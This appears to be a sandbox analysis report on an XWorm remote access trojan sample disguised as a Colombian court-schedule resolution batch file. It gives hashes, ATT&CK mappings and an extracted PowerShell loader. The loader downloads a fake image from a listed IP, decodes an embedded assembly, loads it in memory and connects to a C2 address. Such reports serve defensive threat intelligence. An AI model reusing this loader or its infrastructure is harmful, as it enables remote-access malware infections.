xworm

General

Target

Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat
Size

224KB
Sample

250116-lfwk9atnaw
MD5

df1f35059b68373b63e5f3eab4338b5b
SHA1

29612120a704e71f5031ffa4a8bb139c3243fa7b
SHA256

4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf
SHA512

e99f000ecc42dc95fd47abc74c34fca27cbb117660736bd9ab3e3eb89cbc31cef2003ea29beca4acd4a877625ac7afd72917379183baaab0265ed8298e193533
SSDEEP

6144:2Q12/wE6NeWgmXcydX51t9dZndh1vRJtdZxF98:M

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

1
$base64url = "aHR0cDovLzk0LjE1NC4zNS44OC9EZXRhaE5vdGUuanBn"
2
$url = "http://94.154.35.88/DetahNote.jpg"
3
$webclient = new-object system.net.webclient
4
$imagebytes = $webclient.downloaddata("http://94.154.35.88/DetahNote.jpg")
5
$imagetext = ([system.text.encoding]::ascii).getstring($imagebytes)
6
$startflag = "<<BASE64_START>>"
7
$endflag = "<<BASE64_END>>"
8
$startindex = $imagetext.indexof("<<BASE64_START>>")
9
$endindex = $imagetext.indexof("<<BASE64_END>>")
10
$startindex -ge 0 -and $endindex -gt $startindex
11
$startindex = $startflag.length
12
$base64length = $endindex - $startindex
13
$base64command = $imagetext.substring($startindex, $base64length)
14
$dllbytes = [convert]::frombase64string($base64command)
15
$assembly = [system.reflection.assembly]::load($dllbytes)
16
[stub.main]::main("94.154.35.80", "8668")
17

URLs

ps1.dropper

http://94.154.35.88/DetahNote.jpg

exe.dropper

http://94.154.35.88/DetahNote.jpg

Targets

- Target
  
  Resolucion No. CSJSAR08765-390 Modifica Horario Juzgados.bat
- Size
  
  224KB
- MD5
  
  df1f35059b68373b63e5f3eab4338b5b
- SHA1
  
  29612120a704e71f5031ffa4a8bb139c3243fa7b
- SHA256
  
  4fdd897c9e6c669b7eba50aadc963c7bfb3ba2e19055daebfc05e3d520ccddbf
- SHA512
  
  e99f000ecc42dc95fd47abc74c34fca27cbb117660736bd9ab3e3eb89cbc31cef2003ea29beca4acd4a877625ac7afd72917379183baaab0265ed8298e193533
- SSDEEP
  
  6144:2Q12/wE6NeWgmXcydX51t9dZndh1vRJtdZxF98:M
Score

10^/10

xworm execution rat trojan
- Detect Xworm Payload
- Xworm
  Xworm is a remote access trojan written in C#.
  trojan rat xworm
- Xworm family
  xworm
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
  Run Powershell and hide display window.
  execution
- Drops startup file
behavioral1 behavioral2

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Sharing

General

Malware Config

Extracted

Targets

Detect Xworm Payload

Xworm family

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Drops startup file

MITRE ATT&CK Enterprise v15

Tasks

static1

behavioral1

behavioral2

We care about your privacy.